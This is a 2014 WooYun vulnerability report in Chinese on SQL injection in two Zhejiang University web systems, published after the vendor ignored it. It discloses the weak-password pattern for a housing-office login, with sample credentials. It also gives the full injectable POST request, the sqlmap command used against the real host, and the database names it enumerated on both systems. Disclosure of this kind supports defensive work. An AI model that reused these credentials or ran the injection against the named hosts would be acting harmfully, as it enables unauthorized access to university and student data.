当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-066136

漏洞标题：浙江大学两处系统SQL注射漏洞

相关厂商：CCERT教育网应急响应组

漏洞作者： 袋鼠妈妈

提交时间：2014-06-25 10:47

修复时间：2014-06-30 10:48

公开时间：2014-06-30 10:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-25： 细节已通知厂商并且等待厂商处理中
2014-06-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

浙江大学两处系统SQL注射漏洞，其中一处系统弱口令.

详细说明：

浙江大学两处系统SQL注射漏洞：
1.浙江大学房地产管理处

http://www.fdc.zju.edu.cn/house/Login.aspx


（1）在该处登录地址,此处密码猜测为用户名的拼音简写，即"经济学院",密码为jjxy；"教育学院",密码为jyxy。也相当于弱口令

zju1.gif


（2）在页面"http://www.fdc.zju.edu.cn/house/RoomUseCheckList.aspx"中的"根据房间地址查询"存在sql注入:
sqlmap.py -r data.txt

POST /house/RoomUseCheckList.aspx HTTP/1.1
Host: www.fdc.zju.edu.cn
Proxy-Connection: keep-alive
Content-Length: 479
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://www.fdc.zju.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.fdc.zju.edu.cn/house/RoomUseCheckList.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=crmyfu55d3owxuenve5oaj55; CheckCode=66xx4
__VIEWSTATE=%2FwEPDwULLTE4NTAwMjM3ODcPZBYCZg9kFgICAw9kFgQCAQ8WAh4JaW5uZXJodG1sBWLnmbvlvZXnlKjmiLfvvJrnu4%2FmtY7lrabpmaImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8YSBocmVmPSdsb2dvdXQuYXNweCcgdGFyZ2V0PSdfc2VsZic%2B6YCA5Ye6PC9hPmQCDQ9kFgICBw8WAh4LXyFJdGVtQ291bnRmZGSf9i313E1r%2Bl3kc1K%2FTMbR%2BGOjYA%3D%3D&__EVENTVALIDATION=%2FwEWAwKF3cjPCgL%2B9L%2F%2FDAL32PXeDIzjveUZ2a4RW4qZaOKXzy95mgGU&ctl00%24ContentPlaceHolder1%24txtLocation=123&ctl00%24ContentPlaceHolder1%24btnQuery=%E6%9F%A5%E8%AF%A2


用sqlMAP跑了下:

[23:16:25] [INFO] resumed: "zjuMap","zjuMap","zjuMap","zjuMap","zjuMap"
available databases [13]:
[*] master
[*] model
[*] msdb
[*] neufc
[*] neumap
[*] Realty
[*] t.Zjufc
[*] t.ZjuMap
[*] tempdb
[*] test.zjuEstate
[*] test.zjuMap
[*] zjuEstate
[*] zjuMap
[23:16:27] [WARNING] cannot properly display Unicode characters inside Windows O


2. 浙江大学语言与认知研究中心：

http://lc.zju.edu.cn/zjulc/infobox/InfoView.aspx?docid=22366

zju4.gif


zju3.gif

涉及数据库:

[*] exam    考试？
[*] GRS_afeng_db
[*] LC2011   当前数据库
[*] Library
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] ShanDong_STS  山东学生？
[*] tempdb
[*] waizhe
[*] zjsts  学生信息？
[*] zjuLC


跑得比较慢，没有检索数据表.仅列出数据库证明问题存在

漏洞证明：

修复方案：

版权声明：转载请注明来源 袋鼠妈妈@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-06-30 10:48

厂商回复：

最新状态：

暂无